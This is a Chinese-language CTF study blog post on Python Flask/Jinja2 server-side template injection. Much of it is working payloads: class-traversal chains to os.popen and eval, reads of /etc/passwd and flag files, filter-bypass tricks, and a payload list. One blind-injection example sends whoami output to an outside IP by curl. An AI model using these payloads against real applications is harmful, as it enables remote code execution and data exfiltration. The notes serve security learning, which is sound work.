Python SSTI [TOC]
太菜了,并没有接触过ssti,这边由于过了python的语法,所以略带yi点点基础学习SSTI注入!但依旧看不懂,所以做做笔记和练习题来加深对此的理解!芜湖,加油!
1 前置基础 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 1 __class__ 类的一个内置属性,表示实例对象的类。 2 __base__ 类型对象的直接基类 3 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ 4 __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 5 __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order. 6 __init__ 初始化类,返回的类型是function 7 __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 8 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 9 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 10 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') 11 __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 12 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] 13 __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 14 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 15 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 16 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} 17 current_app 应用上下文,一个全局变量。 18 19 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() 20 request.args.x1 get传参 21 request.values.x1 所有参数 22 request.cookies cookies参数 23 request.headers 请求头参数 24 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) 25 request.data post传参 (Content-Type:a/b) 26 request.json post传json (Content-Type: application/json) 27 config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} 28 g {{g}}得到<flask.g of 'flask_ssti'> 这是模板的基本语法: 控制结构 {% %} 变量取值 {{ }} 注释 {# #}*
SSTI模板注入源于python的一个框架叫flask:Flask是一个轻量级的python的web框架,轻量级说明他只适用于构建小型网站
举个例子更好的认识上面的方法使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 class A: def __init__(self): pass class B: def __init__(self): pass class C(A): def __init__(self): pass class D(A): def __init__(self): pass c = C() a = A() print(c.__class__) //输出<class '__main__.C'> print(c.__class__.__bases__) //输出(<class '__main__.A'>,) print(c.__class__.__base__) //输出<class '__main__.A'> print(c.__class__.__mro__) //输出(<class '__main__.C'>, <class '__main__.A'>, <class 'object'>) print(a.__class__.__mro__.__init__()) //输出None print(a.__class__.__subclasses__()) //输出[<class '__main__.C'>, <class '__main__.D'>] print(a.__class__.__subclasses__()[0].__init__.__globals__) //输出{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x00000239CF1A1CF8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D://xx/xx/1.py', '__cached__': None, 'A': <class '__main__.A'>, 'B': <class '__main__.B'>, 'C': <class '__main__.C'>, 'D': <class '__main__.D'>, 'c': <__main__.C object at 0x00000239CF2264E0>, 'a': <__main__.A object at 0x00000239CF2269B0>} 就是把这个文件下的所有的类,所有的方法全都打印输出
2 文件读取的操作 注入思路
随便找一个内置类对象用__class__
拿到他所对应的类
用__bases__
拿到基类(<class 'object'>
)
用__subclasses__()
拿到子类列表
在子类列表中直接寻找可以利用的类(方法,函数)getshell,也可以通过脚本找个可利用类的方法(好难)!
方法1:popen()方法 注意:必须在os的类下才可以执行此方法,且python2版本不可使用!
1 格式:os.popen(command[, mode[, bufsize]])
方法2:__builtins__下的多个函数
1 2 3 4 5 6 7 8 # python3 {{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}} # python2 {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
方法3:找到含有eval函数的类 warnings.catch_warnings这个类;
方法4:找到能够file读取功能的类 方法5:get data函数 <class ‘_frozen_importlib_external.FileLoader’>这个类的get_data可以直接读取flag!
方法6: 通用命令执行 1 2 3 4 5 6 7 8 9 10 11 12 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
3 绕过过滤的方式 1 过滤. 1 2 3 4 5 6 7 8 方法一:attr()绕过 正常:url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}` 绕过之后:{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}} 方法二:[]绕过,可以用getitem()用来获取序号 url?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }} 其他:''.__class__可以写成 getattr('',"__class__")或者 ’'|attr("__class__")
2 过滤[] 1 2 3 4 5 6 方法一:__getitem__用来获取序号,也可以获取(字符串) 例子:"".__class__.__mro__[2] "".__class__.__mro__.__getitem__(2) 或者.__init__.__globals__.__getitem__('__builtins__').__getitem__('eval') 直接()包裹函数名 方法二:pop()
3 过滤 1 2 3 方法一:可以使用{%绕过 {%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果 例子:{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}
4 过滤’ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 方法一:对象request(jinjia2) 1、 {{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os args是数组,可以进行自定义传值 2、 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd 方法二:chr函数 1、 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} 2、 %2b是+,char()可以查看ASCII码对应表 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
5 过滤关键字 方法1 :16进制编码绕过
1 2 3 __class__:\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f __base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f __subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f
方法二:内置函数
方法三:拼接
1 2 3 4 5 {{request['__cl'+'ass__'].__mro__[12]}} 或者 .__init__.__globals__["sys"+"tem"] ~ 在jinja中可以拼接字符串
方法四:逆反
1 "__ssalc__"|reverse // "__class__"
6 过滤_ 1 2 3 4 5 6 7 8 9 10 方法一:request.args. {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__ GET传参:request.args POST传参:request.values 方法二:编码绕过:__class__ => \x5f\x5fclass\x5f\x5f _是\x5f,.是\x2E 方法三:过滤了_可以用dir(0)[0][0]或者 request['values']绕过 {{''.__class__}} => {{''[request.args.t1]}}&t1=__class__(用于严格过滤参数) ''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__(用于严格过滤参数)
7 python的格式化字符串特性 1 2 3 4 5 6 因为python的字符串格式化允许指定ascii码为字符 如果放到flask里,就可以改写成 "{0:c}"['format'](97) -> 格式化后生成a 界面就会输出 a; 那么__class__就可以变成如下 {{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}
4 常用函数以及payload 解题思路: 步骤1:查看过滤 xxx代表要尝试是否过滤的内容
步骤2:查找所有类 通过找到的过滤,绕过即可
步骤3:查找子类位置 通常是在base[0]左右
步骤4:构造payload即可 找到类的子类,调用子类的函数即可!
payload总结: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() "".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read() "".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") ''.__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read() //其实这里面的-1就是列表从右到左按下标取值,-1表示从右到左数的一个值 "".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") "".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() "".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
5 例子精讲 1 第一题:基础, [第三章 web进阶]SSTI以这道BUCCTF上的一道例子为讲解
步骤1:找到所有类 所有类:
1 {{''.__class__.__mro__.__getitem__(1).__subclasses__()}}
看到warnings.catch_warnings 这个了类,网上说了可以直接用,内置eval函数
步骤2:确定子类位置 1 {{''.__class__.__bases__.__getitem__(0)}} 返回object
步骤3:利用内置eval直接读取flag 1 {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(171).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("whoami").read()')}}
2 第二题:进阶 下面我会以Newstarctf week5的一道例题来进行讲解,方便理解!
3 第三题:超进阶! 总结 跟SQL注入差不多,基本就是多看,多练习一下就好了,如何绕过过滤,如何通过通用的方式执行,了解一下flask模块,inja2的实现原理,即可完美玩转SSTI!